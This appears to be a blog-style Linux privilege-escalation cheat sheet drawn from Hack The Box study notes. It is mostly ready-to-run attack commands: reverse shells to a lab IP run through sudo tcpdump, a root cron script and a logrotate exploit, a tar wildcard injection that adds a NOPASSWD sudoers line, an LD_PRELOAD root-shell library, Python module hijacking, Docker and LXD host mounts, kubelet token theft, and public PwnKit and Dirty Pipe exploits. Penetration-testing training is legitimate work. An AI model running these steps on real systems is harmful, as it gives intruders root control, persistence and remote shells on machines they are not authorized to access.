Reference & Disclaimer

This article is based on my personal study notes from the Information Security Foundations track.

Due to scope and readability constraints, theoretical explanations, command details, output interpretation, and script code examples are intentionally highly summarized in this article.
For full explanations, complete command usage, real outputs, and detailed script implementations, readers are strongly encouraged to consult the full repository.

Full repository:
https://github.com/lameiro0x/pentesting-path-htb

Introduction

Linux privilege escalation starts with careful enumeration, then moves through environment weaknesses, permissions, services, and kernel internals. This guide blends theory with concrete commands you can reuse during post-exploitation.

Enumeration First

Enumeration gives you the attack surface and the likely paths to root. Focus on OS version, kernel version, running services, user context, sudo rights, and writable locations.

System, Users, and Services

Collect system and user context early, then expand to services and network state. These quick commands set the baseline and guide later steps.

whoami
id
uname -a
cat /etc/os-release
sudo -l
ss -tulnp

Files, SUID, and Writable Paths

SUID and SGID binaries are common escalation paths because they run with elevated privileges. Writable files and directories are also powerful, especially when used by root-owned cron jobs or services.

find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

Environment-Based Escalation

Environment weaknesses are often simple but effective. PATH manipulation, wildcard expansion, and restricted shell escapes can turn a low-privilege session into a higher-privilege execution path. These are fast to test and often overlooked in hardening.

PATH Abuse

If a privileged process uses a relative PATH, you can place a fake binary earlier in the PATH and hijack execution. The classic example is dropping a fake ls in the current directory and prepending . to PATH.

echo 'echo "INTERCEPTED"' > ls
chmod +x ls
PATH=.:$PATH
export PATH
ls

Wildcard Abuse with Tar

Shell wildcards are expanded before execution, so cron jobs using tar with * can be abused via crafted filenames. By creating files that look like tar flags, you can inject --checkpoint-action and execute a script as root. This requires control over the directory used by the cron job.

echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh
chmod +x root.sh

echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh root.sh"

Restricted Shell Escapes

Restricted shells limit command execution, but you can sometimes escape by using allowed commands with command substitution or chaining. This relies on the shell interpreting backticks or other syntax in arguments.

ls -l `pwd`

echo "$('<file.txt')"

Permission-Based Escalation

Permission issues are high-value because they often lead to direct root execution. Sudo rights, privileged groups, and Linux capabilities are the most common paths. These are usually found during the first enumeration pass.

Sudo Misconfigurations

If sudo -l shows NOPASSWD entries, check whether the command can be abused to execute arbitrary code. Some binaries like tcpdump allow you to run a helper script as root. This approach is reliable and often quieter than kernel exploits.

sudo -l

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f' > /tmp/.test
chmod +x /tmp/.test
nc -lnvp 443
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

LXD and LXC Group Abuse

Users in the lxd group can create privileged containers and mount the host filesystem. This effectively grants root access to the host when the container is configured as privileged.

id
lxd init
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh

Linux Capabilities

Capabilities grant fine-grained privileges to binaries without full root. Enumerate capabilities and look for dangerous ones like cap_dac_override or cap_sys_admin. If a writable or executable binary has a dangerous capability, you can often pivot to root.

getcap -r / 2>/dev/null
getcap -r / 2>/dev/null | grep -E 'dac_override|sys_admin|setuid|ptrace'

Example using vim.basic with a dangerous capability:

getcap /usr/bin/vim.basic
/usr/bin/vim.basic /etc/passwd
su root

Service and Scheduled Task Abuse

Root-owned services and scheduled tasks are powerful escalation paths when configuration or file permissions are weak. Cron jobs, container runtimes, and orchestration tools often expose privileged execution. Always confirm what runs as root and which files it touches.

Cron Jobs and PSPY

Cron jobs run automatically and often as root, so a writable script or directory can be abused. Use pspy to observe cron execution and timing, then insert a payload into the script. This is one of the most reliable local privilege escalation paths.

./pspy64 -pf -i 1000
cat /dmz-backups/backup.sh
echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh
nc -lnvp 443

Docker and Docker Socket

Access to docker.sock is effectively root because you can start a privileged container and mount the host filesystem. Even without the Docker client, you can download a static binary and point it at the socket.

ls -l /var/run/docker.sock
wget https://<your-ip>/docker -O /tmp/docker
chmod +x /tmp/docker
/tmp/docker -H unix:///var/run/docker.sock run --rm -d --privileged -v /:/hostsystem ubuntu
/tmp/docker -H unix:///var/run/docker.sock exec -it <CONTAINER_ID> /bin/bash

Kubernetes Kubelet Paths

Exposed kubelet APIs can allow command execution inside pods and token extraction. With a service account token, you can use kubectl to create a pod that mounts the host filesystem. This path is complex but powerful in misconfigured clusters.

kubeletctl -i --server 10.129.10.11 pods
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

Logrotate Weaknesses

If logrotate is vulnerable and uses create, you can exploit it with a crafted payload. The typical flow is to check logrotate status, confirm configuration, then run an exploit like logrotten. This can yield a root shell when the rotation triggers.

cat /var/lib/logrotate/status

git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
nc -nlvp 9001
./logrotten -p ./payload /tmp/tmp.log

NFS no_root_squash

If NFS exports use no_root_squash, you can create a SUID binary on the share and execute it as root on the target. This is a classic misconfiguration that still appears in lab environments.

cat /etc/exports
sudo mount -t nfs 10.129.2.12:/tmp /mnt
chmod u+s /mnt/shell

TMUX Session Hijack

If a root-owned tmux session uses a socket writable by your group, you can attach and inherit root. Check running tmux processes and socket permissions, then attach to the session. This is simple but depends on group membership and socket access.

ps aux | grep tmux
ls -la /shareds
id
tmux -S /shareds attach

Linux Internals and Libraries

When userland paths fail, kernel and library issues can still deliver root. These techniques are riskier and more complex, so you should try them after easier paths. Always match exploit versions to the exact kernel and distribution.

Kernel Exploits

Kernel exploits depend on exact versioning, so start by checking the kernel and OS release. Then search for a compatible CVE, transfer the exploit, compile, and execute. This often works only when the kernel is outdated and protections are weak.

uname -a
cat /etc/lsb-release
wget http://10.10.14.2/kernel_exploit.c
gcc kernel_exploit.c -o kernel_exploit
./kernel_exploit

Shared Library Hijack

If a privileged binary uses LD_PRELOAD or a writable RUNPATH, you can load a malicious shared library and execute code as root. This requires the ability to run the target binary with sudo or SUID and to place your library where it will be loaded. It is a reliable path when misconfigurations align.

sudo -l
cat > root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Python Library Hijack

Python scripts running as root can be abused if their import path is writable. You can hijack modules by placing a fake module earlier in sys.path or by using PYTHONPATH when sudo allows environment variables. This is common in poorly secured automation scripts.

python3 -c 'import sys; print("\n".join(sys.path))'
cat > /tmp/psutil.py <<'EOPY'
#!/usr/bin/env python3
import os

def virtual_memory():
    os.system('id')
    os.system('/bin/sh')
EOPY
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

Known CVEs and 0-days

Some escalation paths rely on known CVEs in sudo, polkit, or the kernel. These should be used only when the version matches and other paths fail. Always verify version constraints before compiling or running exploits.

Sudo Policy Bypass

Older sudo versions allow UID -1 to map to root when a user is permitted to run a command. This bypass is simple and fast when conditions are met. Check sudoers carefully before attempting it.

sudo -l
sudo -u#-1 /usr/bin/id
sudo -u#-1 /bin/bash

Polkit, Dirty Pipe, Netfilter

These kernel or service CVEs require strict version matching. Use them only when the kernel range is confirmed and the exploit is trusted.

git clone https://github.com/arthepsy/CVE-2021-4034.git
cd CVE-2021-4034
gcc cve-2021-4034-poc.c -o poc
./poc

git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
cd CVE-2022-0847-DirtyPipe-Exploits
bash compile.sh
./exploit-1

Hardening Notes

Hardening reduces privilege escalation by limiting exposure and patching known weaknesses. Keep systems updated, reduce SUID usage, tighten sudoers, and audit regularly. Tools like Lynis help identify misconfigurations that are easy to miss.

./lynis audit system

Reference & Disclaimer#

Introduction#

Enumeration First#

System, Users, and Services#

Files, SUID, and Writable Paths#

Environment-Based Escalation#

PATH Abuse#

Wildcard Abuse with Tar#

Restricted Shell Escapes#

Permission-Based Escalation#

Sudo Misconfigurations#

LXD and LXC Group Abuse#

Linux Capabilities#

Service and Scheduled Task Abuse#

Cron Jobs and PSPY#

Docker and Docker Socket#

Kubernetes Kubelet Paths#

Logrotate Weaknesses#

NFS no_root_squash#

TMUX Session Hijack#

Linux Internals and Libraries#

Kernel Exploits#

Shared Library Hijack#

Python Library Hijack#

Known CVEs and 0-days#

Sudo Policy Bypass#

Polkit, Dirty Pipe, Netfilter#

Hardening Notes#